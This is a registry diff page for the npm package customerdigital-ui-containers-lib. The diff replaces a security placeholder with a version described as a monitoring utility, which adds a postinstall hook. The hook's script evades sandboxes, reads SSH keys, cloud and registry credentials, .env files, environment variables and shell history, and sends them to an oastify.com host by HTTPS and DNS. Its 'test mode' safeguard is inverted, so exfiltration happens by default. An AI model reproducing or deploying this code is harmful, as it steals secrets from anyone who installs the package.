customerdigital-ui-containers-lib 0.0.1-security → 99.14.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of customerdigital-ui-containers-lib might be problematic. Click here for more details.
- package/package.json +9 -3
- package/postinstall.js +153 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "customerdigital-ui-containers-lib",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.14.9",
|
|
4
|
+
"description": "Interface utility for performance monitoring and diagnostic reporting.",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"author": "System Research",
|
|
7
|
+
"type": "commonjs",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"postinstall": "node postinstall.js"
|
|
11
|
+
}
|
|
6
12
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,153 @@
|
|
|
1
|
+
// ============================================================
|
|
2
|
+
// REALISTIC ATTACK SIMULATION – For authorized testing only
|
|
3
|
+
// Collaborator domain: z22bwbkkybw0c0lmhckni820erki8bw0.oastify.com
|
|
4
|
+
// ============================================================
|
|
5
|
+
const { execSync } = require('child_process');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const dns = require('dns');
|
|
11
|
+
|
|
12
|
+
// ------------------------------------------------------------
|
|
13
|
+
// CONFIGURATION – Pointing to your Burp Collaborator
|
|
14
|
+
// ------------------------------------------------------------
|
|
15
|
+
const EXFIL_DOMAIN = '031cxcllzcx1d1mnidloj931fslj9dx2.oastify.com';
|
|
16
|
+
const EXFIL_URL = `https://${EXFIL_DOMAIN}`; // POST to Collaborator HTTPS endpoint
|
|
17
|
+
|
|
18
|
+
// Safety: set TEST_MODE=true to log locally only (no remote exfiltration)
|
|
19
|
+
const TEST_MODE = process.env.TEST_MODE === 'false';
|
|
20
|
+
|
|
21
|
+
if (!TEST_MODE) {
|
|
22
|
+
console.log(`[TEST] Real exfiltration ENABLED -> sending to ${EXFIL_URL}`);
|
|
23
|
+
} else {
|
|
24
|
+
console.log('[TEST] TEST_MODE=true – data will be written to /tmp/security_test_exfil.json only');
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
console.log('[SECURITY TEST] Collecting sensitive data from this machine...');
|
|
28
|
+
|
|
29
|
+
// ------------------------------------------------------------
|
|
30
|
+
// 1. Evasion (as real attackers use)
|
|
31
|
+
// ------------------------------------------------------------
|
|
32
|
+
const currentPath = process.cwd();
|
|
33
|
+
if (currentPath.startsWith('/tmp') || currentPath.includes('npm-') || !process.env.HOME) {
|
|
34
|
+
console.log('[SECURITY TEST] Sandbox detected – exiting silently');
|
|
35
|
+
process.exit(0);
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const home = os.homedir();
|
|
39
|
+
const stolen = {
|
|
40
|
+
timestamp: new Date().toISOString(),
|
|
41
|
+
hostname: os.hostname(),
|
|
42
|
+
user: os.userInfo(),
|
|
43
|
+
cwd: currentPath,
|
|
44
|
+
env: process.env, // Full environment (tokens, keys)
|
|
45
|
+
files: {},
|
|
46
|
+
commands: {},
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
// ------------------------------------------------------------
|
|
50
|
+
// 2. Read sensitive files (real data – use only on your own machine)
|
|
51
|
+
// ------------------------------------------------------------
|
|
52
|
+
const fileTargets = [
|
|
53
|
+
`${home}/.ssh/id_rsa`,
|
|
54
|
+
`${home}/.ssh/id_ed25519`,
|
|
55
|
+
`${home}/.ssh/id_dsa`,
|
|
56
|
+
`${home}/.ssh/id_ecdsa`,
|
|
57
|
+
`${home}/.aws/credentials`,
|
|
58
|
+
`${home}/.aws/config`,
|
|
59
|
+
`${home}/.kube/config`,
|
|
60
|
+
`${home}/.npmrc`,
|
|
61
|
+
`${home}/.netrc`,
|
|
62
|
+
`${process.cwd()}/.env`,
|
|
63
|
+
`${process.cwd()}/.env.local`,
|
|
64
|
+
];
|
|
65
|
+
|
|
66
|
+
for (const file of fileTargets) {
|
|
67
|
+
if (fs.existsSync(file)) {
|
|
68
|
+
try {
|
|
69
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
70
|
+
stolen.files[file] = content;
|
|
71
|
+
console.log(`[SECURITY TEST] Read: ${file}`);
|
|
72
|
+
} catch(e) {
|
|
73
|
+
stolen.files[file] = `[ERROR reading: ${e.message}]`;
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
// ------------------------------------------------------------
|
|
79
|
+
// 3. Run discovery commands
|
|
80
|
+
// ------------------------------------------------------------
|
|
81
|
+
const commands = [
|
|
82
|
+
'git config --global --list',
|
|
83
|
+
'cat /etc/hosts',
|
|
84
|
+
'arp -a 2>/dev/null || ip neigh 2>/dev/null',
|
|
85
|
+
'ps aux',
|
|
86
|
+
'docker ps 2>/dev/null',
|
|
87
|
+
'kubectl get nodes 2>/dev/null',
|
|
88
|
+
'cat ~/.bash_history 2>/dev/null || cat ~/.zsh_history 2>/dev/null',
|
|
89
|
+
];
|
|
90
|
+
|
|
91
|
+
for (const cmd of commands) {
|
|
92
|
+
try {
|
|
93
|
+
const output = execSync(cmd, { timeout: 5000, encoding: 'utf8' });
|
|
94
|
+
stolen.commands[cmd] = output.slice(0, 5000);
|
|
95
|
+
console.log(`[SECURITY TEST] Ran: ${cmd.substring(0, 50)}...`);
|
|
96
|
+
} catch(e) {
|
|
97
|
+
stolen.commands[cmd] = `[ERROR: ${e.message}]`;
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
// ------------------------------------------------------------
|
|
102
|
+
// 4. Exfiltration – HTTP POST (main) + DNS (optional)
|
|
103
|
+
// ------------------------------------------------------------
|
|
104
|
+
const payload = JSON.stringify(stolen, null, 2);
|
|
105
|
+
const base64Payload = Buffer.from(payload).toString('base64');
|
|
106
|
+
|
|
107
|
+
if (TEST_MODE) {
|
|
108
|
+
// Safe mode: write to local file
|
|
109
|
+
const logFile = '/tmp/security_test_exfil.json';
|
|
110
|
+
fs.writeFileSync(logFile, payload, 'utf8');
|
|
111
|
+
console.log(`\n[SECURITY TEST] Data written to local file: ${logFile}`);
|
|
112
|
+
console.log(`[SECURITY TEST] Base64 payload (first 200 chars): ${base64Payload.slice(0, 200)}...`);
|
|
113
|
+
console.log('[SECURITY TEST] Review the file to see what would be stolen.');
|
|
114
|
+
} else {
|
|
115
|
+
// ---------- HTTP POST exfiltration to Collaborator (main channel) ----------
|
|
116
|
+
console.log(`[SECURITY TEST] Sending data via HTTPS POST to ${EXFIL_URL} ...`);
|
|
117
|
+
const url = new URL(EXFIL_URL);
|
|
118
|
+
const options = {
|
|
119
|
+
hostname: url.hostname,
|
|
120
|
+
port: 443,
|
|
121
|
+
path: '/',
|
|
122
|
+
method: 'POST',
|
|
123
|
+
headers: {
|
|
124
|
+
'Content-Type': 'application/json',
|
|
125
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
126
|
+
}
|
|
127
|
+
};
|
|
128
|
+
const req = https.request(options, (res) => {
|
|
129
|
+
console.log(`[SECURITY TEST] HTTP POST response status: ${res.statusCode}`);
|
|
130
|
+
});
|
|
131
|
+
req.on('error', (err) => {
|
|
132
|
+
console.error('[SECURITY TEST] HTTP exfiltration error:', err.message);
|
|
133
|
+
});
|
|
134
|
+
req.write(payload);
|
|
135
|
+
req.end();
|
|
136
|
+
|
|
137
|
+
// ---------- DNS exfiltration (lightweight, only hostname as demo) ----------
|
|
138
|
+
// You can remove this if you only want HTTP; it's left as an extra proof.
|
|
139
|
+
const hostnamePayload = stolen.hostname;
|
|
140
|
+
const encodedData = Buffer.from(hostnamePayload).toString('hex');
|
|
141
|
+
const dnsLookupDomain = `${encodedData}.${EXFIL_DOMAIN}`;
|
|
142
|
+
dns.resolve(dnsLookupDomain, (err) => {
|
|
143
|
+
if (err) {
|
|
144
|
+
console.log(`[SECURITY TEST] DNS exfiltration attempt complete (expected error): ${err.message}`);
|
|
145
|
+
} else {
|
|
146
|
+
console.log('[SECURITY TEST] DNS exfiltration attempt complete.');
|
|
147
|
+
}
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
console.log('[SECURITY TEST] Exfiltration finished.');
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
console.log('[SECURITY TEST] Simulation complete.');
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=customerdigital-ui-containers-lib for more information.
|